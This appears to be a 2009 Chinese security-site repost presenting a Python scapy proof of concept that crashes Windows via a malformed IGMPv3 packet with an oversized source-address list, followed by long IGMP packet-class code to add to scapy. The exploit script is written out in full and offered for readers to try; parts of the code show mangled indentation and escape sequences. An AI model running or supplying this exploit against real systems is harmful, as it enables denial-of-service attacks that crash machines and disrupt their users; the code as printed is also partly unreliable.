TCPIP协议栈IGMP堆栈溢出本地拒绝服务安全

来源:岁月联盟 编辑:zhuzhu 时间:2009-08-20
TCPIP协议栈IGMP堆栈溢出本地拒绝服务安全 前些天在seclists看到这个漏洞,可惜不能被利用,因为/GS编绎选项,可让自已蓝屏,仅作研究实习用,呵呵,看了作者写的poc,想自已用python实践一把,折腾了几天, 
终于成功了,最近在做些Packet Hacking的研究,对以后的工作很有帮助,所以在学习scapy,一个非常强大的构造包的工具,强烈推荐给大家:) 

下面就是用这个scapy写的IGMP local stack buffer overflow的POC:),非常简单的就实现了。 
大家可以自已演示一下,可以把自已打蓝屏,哈哈。 

# The IGMP Protocol Local D.O.S Poc 
# Authored by Vessial 2009-7-27 
# Contact Me: vessial@hotmail.com 
#Don’t used it for illegal things. 
from scapy import * 

a=IP(dst=’192.168.72.2’,src=’ 192.168.72.130’,ttl=128,id=0,options=’/xff/xff/xff/xff’) 
b=IGMPv3(type=0x11,mrcode=5,numsrc=100,gaddr=’0.0.0.0’) 

for i in range(1000): 
    b.srcaddrs.append(’192.168.72.2’) 

c=a/b 

s=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_RAW) 
s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1) 
s.sendto(str(c),(a.dst,0)) 

就这么几行就蓝屏,强大吧:),注意必须是Raw socket,不然是不能成功的。 
注意默认情况下的scapy里面是没有IGMP包的构造过程的,你得手动添加如下的 
IGMP包结构定义和方法到scapy里面去. 

## 
##IGMP Protocol 
## 
igmptypes = { 0x11 : "Group Membership Query", 
              0x12 : "Version 1 - Membership Report", 
              0x16 : "Version 2 - Membership Report", 
              0x17 : "Leave Group"} 

class IGMP(Packet): 
"""IGMP Message Class for v1 and v2. 

This class is derived from class Packet. You may need to "sanitize" the IP 
and Ethernet headers before a full packet is sent. 

""" 
name = "IGMP" 
fields_desc = [ ByteEnumField("type", 0x11, igmptypes), 
                      ByteField("mrtime",0), 
                    XShortField("chksum", None), 
                        IPField("gaddr", "0.0.0.0")] 

#----------------------------- ------------------------------------------------- 
def post_build(self, p, pay): 
    """Called implicitly before a packet is sent to compute and place IGMP checksum. 

    Parameters: 
      self    The instantiation of an IGMP class 
      p       The IGMP message in hex in network byte order 
      pay     Additional payload for the IGMP message 
    """ 
    p += pay 
    if self.chksum is None: 
      ck = checksum(p) 
      p = p[:2]+chr(ck>>8)+chr(ck&0xff)+p[4:] 
    return p 

#------------------------------------------------------------------------------ 
def mysummary(self): 
    """Display a summary of the IGMP object.""" 

    if isinstance(self.underlayer, IP): 
      return self.underlayer.sprintf("IGMP: %IP.src% > %IP.dst% %IGMP.type% %IGMP.gaddr%") 
    else: 
      return self.sprintf("IGMP %IGMP.type% %IGMP.gaddr%") 

#------------------------------------------------------------------------------ 
def sanitize (self, ip=None, ether=None): 
    """Called to explicitely fixup associated IP and Ethernet headers 

    Parameters: 
      self    The instantiation of an IGMP class. 
      ip      The instantiation of the associated IP class. 
      ether   The instantiation of the associated Ethernet. 

    Returns: 
      True    The tuple ether/ip/self passed all check and represents a proper 
              IGMP packet. 
      False   One of more validation checks failed and no fields were adjusted. 

    The function will examine the IGMP message to assure proper format. 
    Corrections will be attempted if possible. The IP header is then properly 
    adjusted to ensure correct formatting and assignment. The Ethernet header 
    is then adjusted to the proper IGMP packet format. 
    """ 

# The rules are: 
#   1. the Max Response time is meaningful only in Membership Queries and should be zero 
#       otherwise (RFC 2236, section 2.2) 
    if (self.type != 0x11):         #rule 1 
      self.mrtime = 0 
    if (self.adjust_ip(ip) == True): 
      if (self.adjust_ether(ip, ether) == True): return True 
    return False 

#------------------------------------------------------------------------------ 
def adjust_ether (self, ip=None, ether=None): 
    """Called to explicitely fixup an associated Ethernet header 

    Parameters: 
      self    The instantiation of an IGMP class. 
      ip      The instantiation of the associated IP class. 
      ether   The instantiation of the associated Ethernet. 

    Returns: 
      True    The tuple ether/ip/self passed all check and represents a proper 
              IGMP packet. 
      False   One of more validation checks failed and no fields were adjusted. 

    The function adjusts the ethernet header destination MAC address based on 
    the destination IP address. 
    """ 
# The rules are: 
#   1. send the packet to the group mac address address corresponding to the IP 
    if ip != None and ip.haslayer(IP) and ether != None and ether.haslayer(Ether): 
      ipaddr = socket.ntohl(atol(ip.dst)) & 0x007FFFFF 
      macstr = "01:5e:00:%02x:%02x:%02x" %((ipaddr>>16)&0xFF, (ipaddr>>8)&0xFF, (ipaddr>>0)&0xFF) 
      ether.dst=macstr 
      return True 
    else: 
      return False 

#------------------------------------------------------------------------------ 
def adjust_ip (self, ip=None): 
    """Called to explicitely fixup an associated IP header 

    Parameters: 
      self    The instantiation of an IGMP class. 
      ip      The instantiation of the associated IP class. 

    Returns: 
      True    The tuple ip/self passed all checks and represents a proper 
              IGMP packet. 
      False   One of more validation checks failed and no fields were adjusted. 

    The function adjusts the IP header based on conformance rules and the group 
    address encoded in the IGMP message. 
    """ 
# The rules are: 
#   1. send the packet to the group address registering/reporting for 
#     a. for General Group Query, send packet to 224.0.0.1 (all systems) 
#   2. send the packet with the router alert IP option (RFC 2236, section 2) 
#   3. ttl = 1 (RFC 2236, section 2) 
    if ip != None and ip.haslayer(IP): 
      if (self.type == 0x11): 
        if (self.gaddr == "0.0.0.0"): 
          ip.dst = "224.0.0.1" 
          retCode = True                     
        elif (atol(self.gaddr)&0xff >= 224) and (atol(self.gaddr)&0xff <= 239): 
          ip.dst = self.gaddr 
          retCode = True 
        else: 
          retCode = False 
      elif ((self.type == 0x12) or (self.type == 0x16) or (self.type == 0x17)) and / 
           (atol(self.gaddr)&0xff >= 224) and (atol(self.gaddr)&0xff <= 239): 
          ip.dst = self.gaddr 
          retCode = True 
      elif (self.type == 0x22): 
        ip.dst = "224.0.0.22" 
        retCode = True 
      elif (self.type == 0x30) or (self.type == 0x32): 
        ip.dst = "224.0.0.106" 
        retCode = True 
      elif (self.type == 0x31): 
        ip.dst = "224.0.0.2" 
        retCode = True 
      else: 
        retCode = False 
    else: 
      retCode = False 
    if retCode == True: 
      ip.options="/x94/x04/x00/x00" # set IP Router Alert option 
    return retCode 

#------------------------------------------------------------------------------ 
#------------------------------------------------------------------------------ 

# See RFC3376, Section 4. Message Formats for definitions of proper IGMPv3 message format 
#  http://www.faqs.org/rfcs/rfc3376.html 

# See RFC4286, For definitions of proper messages for Multicast Router Discovery. 
#  http://www.faqs.org/rfcs/rfc4286.html 


igmpv3grtypes = { 1 : "Mode Is Include", 
                  2 : "Mode Is Exclude", 
                  3 : "Change To Include Mode", 
                  4 : "Change To Exclude Mode", 
                  5 : "Allow New Sources", 
                  6 : "Block Old Sources"} 

class IGMPv3gr(Packet): 
"""IGMP Group Record for IGMPv3 Membership Report 

This class is derived from class Packet and should be concatenated to an 
instantiation of class IGMPv3. Within the IGMPv3 instantiation, the numgrp 
element will need to be manipulated to indicate the proper number of 
group records. 
""" 
name = "IGMPv3gr" 
fields_desc = [ ByteEnumField("rtype", 1, igmpv3grtypes), 
                      ByteField("auxdlen",0), 
                  FieldLenField("numsrc", None, "srcaddrs"), 
                        IPField("maddr", "0.0.0.0"), 
                 FieldListField("srcaddrs", None, IPField("sa", "0.0.0.0"), "numsrc") ] 
show_indent=0 
#------------------------------------------------------------------------------ 
def post_build(self, p, pay): 
    """Called implicitly before a packet is sent. 
    """ 
    p += pay 
    if self.auxdlen != 0: 
      print "NOTICE: A properly formatted and complaint V3 Group Record should have an Auxiliary Data length of zero (0)." 
      print "        Subsequent Group Records are lost!" 
    return p 
#------------------------------------------------------------------------------ 
def mysummary(self): 
    """Display a summary of the IGMPv3 group record.""" 
    return self.sprintf("IGMPv3 Group Record %IGMPv3gr.type% %IGMPv3gr.maddr%") 

igmpv3types = { 0x11 : "Membership Query", 
                0x22 : "Version 3 Membership Report", 
                0x30 : "Multicast Router Advertisement", 
                0x31 : "Multicast Router Solicitation", 
                0x32 : "Multicast Router Termination"} 

class IGMPv3(IGMP): 
"""IGMP Message Class for v3. 

This class is derived from class Packet. 
The fields defined below are a 
direct interpretation of the v3 Membership Query Message. 
Fields ’type’ through ’qqic’ are directly assignable. 
For ’numsrc’, do not assign a value. 
Instead add to the ’srcaddrs’ list to auto-set ’numsrc’. To 
assign values to ’srcaddrs’, use the following methods: 
    c = IGMPv3() 
    c.srcaddrs = [’1.2.3.4’, ’5.6.7.8’] 
    c.srcaddrs += [’192.168.10.24’] 
At this point, ’c.numsrc’ is three (3) 

’chksum’ is automagically calculated before the packet is sent. 

’mrcode’ is also the Advertisement Interval field 

""" 
name = "IGMPv3" 
fields_desc = [ ByteEnumField("type", 0x11, igmpv3types), 
                      ByteField("mrcode",0),              # use float_encode() 
                    XShortField("chksum", None), 
    # if type = 0x11 (Membership Query), the next field is group address 
    ConditionalField(IPField("gaddr", "0.0.0.0"),lambda pkt:pkt.type==0x11), 
    # else if type = 0x22 (Membership Report), the next fields are 
    #         reserved and number of group records 
    ConditionalField(ShortField("rsvd2", 0),lambda pkt:pkt.type==0x22), 
    ConditionalField(ShortField("numgrp", 0),lambda pkt:pkt.type==0x22), 
#                  FieldLenField("numgrp", None, "grprecs")] 
    # else if type = 0x30 (Multicast Router Advertisement), the next fields are 
    #         query interval and robustness 
    ConditionalField(ShortField("qryIntvl", 0),lambda pkt:pkt.type==0x30), 
    ConditionalField(ShortField("robust", 0),lambda pkt:pkt.type==0x30), 
# The following are only present for membership queries 
          ConditionalField(BitField("resv", 0, 4),lambda pkt:pkt.type==0x11), 
          ConditionalField(BitField("s", 0, 1),lambda pkt:pkt.type==0x11), 
          ConditionalField(BitField("qrv", 0, 3),lambda pkt:pkt.type==0x11), 
         ConditionalField(ByteField("qqic",0),lambda pkt:pkt.type==0x11), 
     ConditionalField(FieldLenField("numsrc", None, "srcaddrs"),lambda pkt:pkt.type==0x11), 
    ConditionalField(FieldListField("srcaddrs", None, IPField("sa", "0.0.0.0"), "numsrc"),lambda pkt:pkt.type==0x11), 
    ] 


#------------------------------------------------------------------------------ 
def float_encode(self, value): 
    """Convert the integer value to its IGMPv3 encoded time value if needed. 
     
    If value < 128, return the value specified. If >= 128, encode as a floating 
    point value. Value can be 0 - 31744. 
    """ 
    if value < 128: 
        code = value 
    elif value > 31743: 
        code = 255 
    else: 
        exp=0 
        value>>=3 
        while(value>31): 
            exp+=1 
            value>>=1 
            exp<<=4 
            code = 0x80 | exp | (value & 0x0F) 
            return code 
         
#------------------------------------------------------------------------------ 
def post_build(self, p, pay): 
    """Called implicitly before a packet is sent to compute and place IGMPv3 checksum. 

    Parameters: 
      self    The instantiation of an IGMPv3 class 
      p       The IGMPv3 message in hex in network byte order 
      pay     Additional payload for the IGMPv3 message 
    """ 
    p += pay 
    if self.type in [0, 0x31, 0x32, 0x22]:   # for these, field is reserved (0) 
      p = p[:1]+chr(0)+p[2:] 
    if self.chksum is None: 
      ck = checksum(p) 
      p = p[:2]+chr(ck>>8)+chr(ck&0xff)+p[4:] 
    return p 
#------------------------------------------------------------------------------ 
def mysummary(self): 
    """Display a summary of the IGMPv3 object.""" 
     
    if isinstance(self.underlayer, IP): 
        return self.underlayer.sprintf("IGMPv3: %IP.src% > %IP.dst% %IGMPv3.type% %IGMPv3.gaddr%") 
    else: 
        return self.sprintf("IGMPv3 %IGMPv3.type% %IGMPv3.gaddr%") 
    # The rules are: 
    #   1. ttl = 1 (RFC 2236, section 2) 
igmp_binds = [ (IP, IGMP,   { "proto": 2 , "ttl": 1 }), 
        #   2. tos = 0xC0 (RFC 3376, section 4) 
        (IP, IGMPv3, { "proto": 2 , "ttl": 1, "tos":0xc0 }), 
        (IGMPv3, IGMPv3gr, { }) ]